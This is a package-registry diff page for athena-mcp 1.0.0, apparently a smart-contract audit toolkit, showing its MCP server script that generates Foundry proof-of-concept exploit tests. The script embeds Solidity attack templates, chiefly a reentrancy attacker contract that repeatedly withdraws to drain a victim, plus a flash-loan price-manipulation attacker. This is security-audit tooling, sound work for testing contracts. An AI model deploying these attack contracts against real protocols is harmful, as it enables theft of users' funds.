athena-mcp 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (37) hide show
  1. package/README.md +477 -0
  2. package/install.js +327 -0
  3. package/mcp/servers.json +100 -0
  4. package/mcp/tools/README.md +64 -0
  5. package/mcp/tools/__init__.py +1 -0
  6. package/mcp/tools/aderyn_runner.py +226 -0
  7. package/mcp/tools/eas_attest.py +404 -0
  8. package/mcp/tools/evidence_chain.py +363 -0
  9. package/mcp/tools/exploit_simulator.py +545 -0
  10. package/mcp/tools/fuzz_runner.py +440 -0
  11. package/mcp/tools/gev_analyzer.py +362 -0
  12. package/mcp/tools/halmos_runner.py +408 -0
  13. package/mcp/tools/incremental_auditor.py +441 -0
  14. package/mcp/tools/knowledge_base.py +378 -0
  15. package/mcp/tools/poc_generator.py +479 -0
  16. package/mcp/tools/protocol_scanner.py +456 -0
  17. package/mcp/tools/repair_validator.py +421 -0
  18. package/mcp/tools/slither_runner.py +221 -0
  19. package/package.json +52 -0
  20. package/requirements.txt +20 -0
  21. package/skills/glm-audit-skill/SKILL.md +73 -0
  22. package/skills/glm-audit-skill/references/audit-agents/access-control-agent.md +42 -0
  23. package/skills/glm-audit-skill/references/audit-agents/asymmetry-agent.md +42 -0
  24. package/skills/glm-audit-skill/references/audit-agents/boundary-agent.md +42 -0
  25. package/skills/glm-audit-skill/references/audit-agents/economic-security-agent.md +42 -0
  26. package/skills/glm-audit-skill/references/audit-agents/execution-trace-agent.md +42 -0
  27. package/skills/glm-audit-skill/references/audit-agents/first-principles-agent.md +42 -0
  28. package/skills/glm-audit-skill/references/audit-agents/flow-gap-agent.md +38 -0
  29. package/skills/glm-audit-skill/references/audit-agents/invariant-agent.md +37 -0
  30. package/skills/glm-audit-skill/references/audit-agents/math-precision-agent.md +37 -0
  31. package/skills/glm-audit-skill/references/audit-agents/numerical-gap-agent.md +37 -0
  32. package/skills/glm-audit-skill/references/audit-agents/periphery-agent.md +37 -0
  33. package/skills/glm-audit-skill/references/audit-agents/shared-rules.md +37 -0
  34. package/skills/glm-audit-skill/references/audit-agents/trust-gap-agent.md +39 -0
  35. package/skills/glm-audit-skill/references/judging.md +45 -0
  36. package/skills/glm-audit-skill/references/report-formatting.md +22 -0
  37. package/skills/glm-audit-skill/references/senior-auditor-sop.md +34 -0
@@ -0,0 +1,479 @@
1
+ #!/usr/bin/env python3
2
+ """
3
+ MCP Server: PoC Generator
4
+ Generates Foundry-based Proof of Concept exploit test contracts for Solidity vulnerabilities.
5
+ """
6
+ import sys
7
+ import json
8
+ import asyncio
9
+ import logging
10
+ import os
11
+ import re
12
+
13
+ logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(name)s - %(levelname)s - %(message)s')
14
+ logger = logging.getLogger("poc_generator")
15
+
16
+ TOOL_NAME = "poc_generator"
17
+ TOOL_VERSION = "1.0.0"
18
+
19
+ # Template-based PoC generation patterns
20
+ VULNERABILITY_TEMPLATES = {
21
+ "reentrancy": {
22
+ "imports": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.20;\n\nimport \"forge-std/Test.sol\";",
23
+ "description": "Reentrancy attack exploiting external call before state update",
24
+ "template": """
25
+ /// @notice PoC: Reentrancy Attack
26
+ /// @dev This test demonstrates a reentrancy vulnerability where an attacker
27
+ /// can re-enter the vulnerable function during an external call.
28
+ contract ReentrancyAttacker {{
29
+ address public target;
30
+ uint256 public attackCount;
31
+
32
+ constructor(address _target) {{
33
+ target = _target;
34
+ }}
35
+
36
+ function attack() external payable {{
37
+ // Trigger the vulnerable function
38
+ ITarget(target).deposit{{value: msg.value}}();
39
+ ITarget(target).withdraw();
40
+ }}
41
+
42
+ receive() external payable {{
43
+ if (address(target).balance >= msg.value) {{
44
+ attackCount++;
45
+ if (attackCount < 10) {{
46
+ ITarget(target).withdraw();
47
+ }}
48
+ }}
49
+ }}
50
+ }}
51
+
52
+ interface ITarget {{
53
+ function deposit() external payable;
54
+ function withdraw() external;
55
+ }}
56
+
57
+ contract ReentrancyPoCTest is Test {{
58
+ Target victim;
59
+ ReentrancyAttacker attacker;
60
+
61
+ function setUp() public {{
62
+ victim = new Target();
63
+ attacker = new ReentrancyAttacker(address(victim));
64
+ vm.deal(address(attacker), 10 ether);
65
+ }}
66
+
67
+ function test_reentrancy_exploit() public {{
68
+ uint256 initialBalance = address(victim).balance;
69
+
70
+ vm.startPrank(address(attacker));
71
+ attacker.attack{{value: 1 ether}}();
72
+ vm.stopPrank();
73
+
74
+ // After reentrancy, the attacker should have drained more than deposited
75
+ uint256 stolen = address(attacker).balance - 1 ether;
76
+ assertGt(stolen, 0, "Reentrancy attack should steal funds");
77
+
78
+ emit log_named_uint("Funds stolen (wei)", stolen);
79
+ emit log_named_uint("Victim remaining balance", address(victim).balance);
80
+ }}
81
+ }}
82
+ """
83
+ },
84
+ "integer_overflow": {
85
+ "imports": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.20;\n\nimport \"forge-std/Test.sol\";",
86
+ "description": "Integer overflow/underflow exploitation",
87
+ "template": """
88
+ /// @notice PoC: Integer Overflow/Underflow
89
+ /// @dev Pre-0.8.0 contracts may be vulnerable. Solidity 0.8+ has built-in checks.
90
+ contract IntegerOverflowPoCTest is Test {{
91
+ function setUp() public {{}}
92
+
93
+ function test_overflow_detection() public {{
94
+ // Demonstrate overflow behavior
95
+ uint256 maxVal = type(uint256).max;
96
+
97
+ // In Solidity 0.8+, this will revert
98
+ vm.expectRevert();
99
+ uint256 overflow = maxVal + 1;
100
+
101
+ // For pre-0.8.0 contracts, use unchecked
102
+ unchecked {{
103
+ uint256 overflowResult = maxVal + 1;
104
+ assertEq(overflowResult, 0, "Overflow should wrap to 0");
105
+ }}
106
+ }}
107
+
108
+ function test_underflow_detection() public {{
109
+ // Demonstrate underflow behavior
110
+ vm.expectRevert();
111
+ uint256 underflow = 0 - 1;
112
+
113
+ unchecked {{
114
+ uint256 underflowResult = 0 - 1;
115
+ assertEq(underflowResult, type(uint256).max, "Underflow should wrap to max");
116
+ }}
117
+ }}
118
+ }}
119
+ """
120
+ },
121
+ "access_control": {
122
+ "imports": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.20;\n\nimport \"forge-std/Test.sol\";",
123
+ "description": "Access control bypass exploitation",
124
+ "template": """
125
+ /// @notice PoC: Access Control Vulnerability
126
+ /// @dev Demonstrates missing or broken access control on critical functions.
127
+ interface IVulnerableContract {{
128
+ function criticalFunction() external;
129
+ function withdrawFunds(address to) external;
130
+ function setOwner(address newOwner) external;
131
+ }}
132
+
133
+ contract AccessControlPoCTest is Test {{
134
+ IVulnerableContract target;
135
+ address attacker = address(0xBEEF);
136
+
137
+ function setUp() public {{
138
+ // Deploy target contract
139
+ // target = IVulnerableContract(address(deployedContract));
140
+ }}
141
+
142
+ function test_unauthorized_access() public {{
143
+ vm.startPrank(attacker);
144
+
145
+ // Attempt to call privileged function without authorization
146
+ // This should revert if access control is properly implemented
147
+ vm.expectRevert();
148
+ target.criticalFunction();
149
+
150
+ vm.stopPrank();
151
+ }}
152
+
153
+ function test_unauthorized_withdraw() public {{
154
+ vm.startPrank(attacker);
155
+
156
+ // Attempt to withdraw funds
157
+ vm.expectRevert();
158
+ target.withdrawFunds(attacker);
159
+
160
+ vm.stopPrank();
161
+ }}
162
+
163
+ function test_owner_takeover() public {{
164
+ vm.startPrank(attacker);
165
+
166
+ // Attempt to change owner
167
+ vm.expectRevert();
168
+ target.setOwner(attacker);
169
+
170
+ vm.stopPrank();
171
+ }}
172
+ }}
173
+ """
174
+ },
175
+ "flash_loan": {
176
+ "imports": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.20;\n\nimport \"forge-std/Test.sol\";",
177
+ "description": "Flash loan attack vector",
178
+ "template": """
179
+ /// @notice PoC: Flash Loan Attack
180
+ /// @dev Demonstrates a flash loan attack pattern that can be used to
181
+ /// manipulate prices or drain liquidity pools.
182
+
183
+ interface IFlashLoanProvider {{
184
+ function flashLoan(uint256 amount, address receiver, bytes calldata data) external;
185
+ function getReserve() external view returns (uint256);
186
+ }}
187
+
188
+ interface IVulnerableProtocol {{
189
+ function deposit() external payable;
190
+ function withdraw(uint256 amount) external;
191
+ function getPrice() external view returns (uint256);
192
+ function swap(address tokenIn, uint256 amountIn) external returns (uint256);
193
+ }}
194
+
195
+ contract FlashLoanAttacker {{
196
+ IFlashLoanProvider lender;
197
+ IVulnerableProtocol target;
198
+ uint256 profit;
199
+
200
+ constructor(address _lender, address _target) {{
201
+ lender = IFlashLoanProvider(_lender);
202
+ target = IVulnerableProtocol(_target);
203
+ }}
204
+
205
+ function executeAttack(uint256 flashAmount) external {{
206
+ lender.flashLoan(flashAmount, address(this), "");
207
+ }}
208
+
209
+ function executeOperation(uint256 amount, bytes calldata) external {{
210
+ // Step 1: Use flash loan to manipulate price
211
+ // Step 2: Exploit the manipulated price
212
+ // Step 3: Repay loan and keep profit
213
+
214
+ // Example: price manipulation
215
+ target.swap(address(this), amount);
216
+
217
+ // Repay flash loan (amount + fee)
218
+ uint256 fee = amount * 9 / 10000; // 0.09% fee
219
+ IERC20(address(lender)).transfer(address(lender), amount + fee);
220
+
221
+ profit = amount - fee;
222
+ }}
223
+ }}
224
+
225
+ interface IERC20 {{
226
+ function transfer(address to, uint256 amount) external returns (bool);
227
+ }}
228
+
229
+ contract FlashLoanPoCTest is Test {{
230
+ function test_flash_loan_attack() public {{
231
+ // Setup: deploy or fork the target protocol
232
+ // FlashLoanAttacker attacker = new FlashLoanAttacker(lender, target);
233
+ // attacker.executeAttack(1000000e18);
234
+ // assertGt(attacker.profit(), 0);
235
+ }}
236
+ }}
237
+ """
238
+ },
239
+ "default": {
240
+ "imports": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.20;\n\nimport \"forge-std/Test.sol\";",
241
+ "description": "Generic vulnerability PoC template",
242
+ "template": """
243
+ /// @notice PoC: {vuln_type}
244
+ /// @dev {vuln_description}
245
+ ///
246
+ /// Vulnerability Details:
247
+ /// {detailed_description}
248
+ contract PoCTest is Test {{
249
+
250
+ function setUp() public {{
251
+ // Deploy or setup the target contract
252
+ }}
253
+
254
+ function test_exploit() public {{
255
+ // Step 1: Setup attack prerequisites
256
+ // Step 2: Execute the exploit
257
+ // Step 3: Verify the exploit succeeded
258
+
259
+ // TODO: Implement specific exploit logic based on vulnerability analysis
260
+
261
+ emit log("PoC test template - customize based on specific vulnerability");
262
+ }}
263
+ }}
264
+ """
265
+ }
266
+ }
267
+
268
+
269
+ def generate_template_poc(contract_code: str, vulnerability: dict) -> dict:
270
+ """Generate a template-based PoC for the given vulnerability."""
271
+ vuln_type = vulnerability.get("type", "").lower().replace(" ", "_").replace("-", "_")
272
+ vuln_description = vulnerability.get("description", "No description provided")
273
+
274
+ # Match to known templates
275
+ matched_template = None
276
+ for key in VULNERABILITY_TEMPLATES:
277
+ if key in vuln_type or vuln_type in key:
278
+ matched_template = VULNERABILITY_TEMPLATES[key]
279
+ break
280
+
281
+ if not matched_template:
282
+ matched_template = VULNERABILITY_TEMPLATES["default"]
283
+
284
+ # Build the PoC contract
285
+ poc_code = matched_template["imports"] + "\n\n"
286
+
287
+ # Add contract code reference as comment
288
+ poc_code += "/*\n"
289
+ poc_code += " * Original Contract (reference):\n"
290
+ # Limit contract code in comments to avoid huge PoC files
291
+ code_lines = contract_code.split("\n")[:50]
292
+ for line in code_lines:
293
+ poc_code += f" * {line}\n"
294
+ if len(contract_code.split("\n")) > 50:
295
+ poc_code += f" * ... ({len(contract_code.split(chr(10)))} lines total)\n"
296
+ poc_code += " */\n\n"
297
+
298
+ # Add the PoC template with formatting
299
+ if matched_template == VULNERABILITY_TEMPLATES["default"]:
300
+ poc_code += matched_template["template"].format(
301
+ vuln_type=vulnerability.get("type", "Unknown"),
302
+ vuln_description=vuln_description,
303
+ detailed_description=vuln_description
304
+ )
305
+ else:
306
+ poc_code += matched_template["template"]
307
+
308
+ return {
309
+ "success": True,
310
+ "vulnerability_type": vulnerability.get("type", "Unknown"),
311
+ "poc_code": poc_code,
312
+ "template_used": vuln_type if any(k in vuln_type for k in VULNERABILITY_TEMPLATES) else "default",
313
+ "note": "This is a template-based PoC. Customize the exploit logic based on the specific contract under audit."
314
+ }
315
+
316
+
317
+ async def generate_with_llm(contract_code: str, vulnerability: dict) -> dict:
318
+ """Attempt LLM-based PoC generation (optional, falls back to template)."""
319
+ # Check for OpenAI-compatible API endpoint
320
+ api_base = os.environ.get("OPENAI_API_BASE", os.environ.get("LLM_API_BASE", ""))
321
+ api_key = os.environ.get("OPENAI_API_KEY", os.environ.get("LLM_API_KEY", ""))
322
+ model = os.environ.get("LLM_MODEL", "gpt-4")
323
+
324
+ if not api_base or not api_key:
325
+ logger.info("No LLM API configured, falling back to template-based generation")
326
+ return None
327
+
328
+ try:
329
+ import aiohttp
330
+
331
+ prompt = f"""You are a smart contract security expert. Generate a Foundry test contract that demonstrates the following vulnerability.
332
+
333
+ VULNERABILITY:
334
+ Type: {vulnerability.get('type', 'Unknown')}
335
+ Description: {vulnerability.get('description', '')}
336
+
337
+ TARGET CONTRACT CODE:
338
+ ```solidity
339
+ {contract_code[:4000]}
340
+ ```
341
+
342
+ Requirements:
343
+ 1. Use pragma solidity ^0.8.20
344
+ 2. Import forge-std/Test.sol
345
+ 3. Include a setUp() function
346
+ 4. Include a test_exploit() function that demonstrates the vulnerability
347
+ 5. Use vm.startPrank, vm.deal, etc. for test setup
348
+ 6. Add detailed comments explaining each step of the exploit
349
+ 7. The test should fail if the vulnerability is fixed
350
+
351
+ Return ONLY the Solidity code, no explanation."""
352
+
353
+ async with aiohttp.ClientSession() as session:
354
+ async with session.post(
355
+ f"{api_base}/v1/chat/completions",
356
+ headers={
357
+ "Authorization": f"Bearer {api_key}",
358
+ "Content-Type": "application/json"
359
+ },
360
+ json={
361
+ "model": model,
362
+ "messages": [
363
+ {"role": "system", "content": "You are a Solidity security expert."},
364
+ {"role": "user", "content": prompt}
365
+ ],
366
+ "temperature": 0.3,
367
+ "max_tokens": 4096
368
+ }
369
+ ) as resp:
370
+ if resp.status == 200:
371
+ data = await resp.json()
372
+ poc_code = data["choices"][0]["message"]["content"]
373
+
374
+ # Extract code from markdown blocks if present
375
+ code_match = re.search(r'```(?:solidity)?\n(.*?)```', poc_code, re.DOTALL)
376
+ if code_match:
377
+ poc_code = code_match.group(1)
378
+
379
+ return {
380
+ "success": True,
381
+ "vulnerability_type": vulnerability.get("type", "Unknown"),
382
+ "poc_code": poc_code,
383
+ "template_used": "llm-generated",
384
+ "model": model,
385
+ "note": "This PoC was generated by an LLM. Review and test before use."
386
+ }
387
+ except Exception as e:
388
+ logger.warning(f"LLM generation failed: {e}, falling back to template")
389
+
390
+ return None
391
+
392
+
393
+ async def execute_tool(tool_name: str, arguments: dict) -> dict:
394
+ if tool_name == "generate_poc":
395
+ contract_code = arguments.get("contract_code", "")
396
+ vulnerability = arguments.get("vulnerability", {})
397
+
398
+ if not contract_code:
399
+ return {"success": False, "error": "contract_code is required"}
400
+ if not vulnerability:
401
+ return {"success": False, "error": "vulnerability object is required"}
402
+
403
+ # Try LLM generation first, fall back to template
404
+ llm_result = await generate_with_llm(contract_code, vulnerability)
405
+ if llm_result:
406
+ return llm_result
407
+
408
+ return generate_template_poc(contract_code, vulnerability)
409
+
410
+ return {"success": False, "error": f"Unknown tool: {tool_name}"}
411
+
412
+
413
+ async def handle_request(request: dict) -> dict:
414
+ method = request.get("method")
415
+ params = request.get("params", {})
416
+
417
+ if method == "initialize":
418
+ return {
419
+ "protocolVersion": "2024-11-05",
420
+ "capabilities": {"tools": {}},
421
+ "serverInfo": {"name": TOOL_NAME, "version": TOOL_VERSION}
422
+ }
423
+ elif method == "tools/list":
424
+ return {"tools": build_tool_definitions()}
425
+ elif method == "tools/call":
426
+ tool_name = params.get("name")
427
+ arguments = params.get("arguments", {})
428
+ result = await execute_tool(tool_name, arguments)
429
+ return {"content": [{"type": "text", "text": json.dumps(result, indent=2)}]}
430
+ elif method == "ping":
431
+ return {}
432
+ return {"error": {"code": -32601, "message": f"Method not found: {method}"}}
433
+
434
+
435
+ async def main():
436
+ reader = asyncio.StreamReader()
437
+ protocol = asyncio.StreamReaderProtocol(reader)
438
+ loop = asyncio.get_event_loop()
439
+ await loop.connect_read_pipe(lambda: protocol, sys.stdin)
440
+
441
+ logger.info(f"{TOOL_NAME} MCP server started")
442
+
443
+ while True:
444
+ line = await reader.readline()
445
+ if not line:
446
+ break
447
+
448
+ line_str = line.decode("utf-8").strip()
449
+ if not line_str:
450
+ continue
451
+
452
+ try:
453
+ request = json.loads(line_str)
454
+ response = await handle_request(request)
455
+ response["jsonrpc"] = "2.0"
456
+ response["id"] = request.get("id")
457
+ sys.stdout.write(json.dumps(response) + "\n")
458
+ sys.stdout.flush()
459
+ except json.JSONDecodeError:
460
+ error_resp = {
461
+ "jsonrpc": "2.0",
462
+ "id": None,
463
+ "error": {"code": -32700, "message": "Parse error"}
464
+ }
465
+ sys.stdout.write(json.dumps(error_resp) + "\n")
466
+ sys.stdout.flush()
467
+ except Exception as e:
468
+ logger.exception("Error handling request")
469
+ error_resp = {
470
+ "jsonrpc": "2.0",
471
+ "id": request.get("id") if "request" in dir() else None,
472
+ "error": {"code": -32603, "message": f"Internal error: {str(e)}"}
473
+ }
474
+ sys.stdout.write(json.dumps(error_resp) + "\n")
475
+ sys.stdout.flush()
476
+
477
+
478
+ if __name__ == "__main__":
479
+ asyncio.run(main())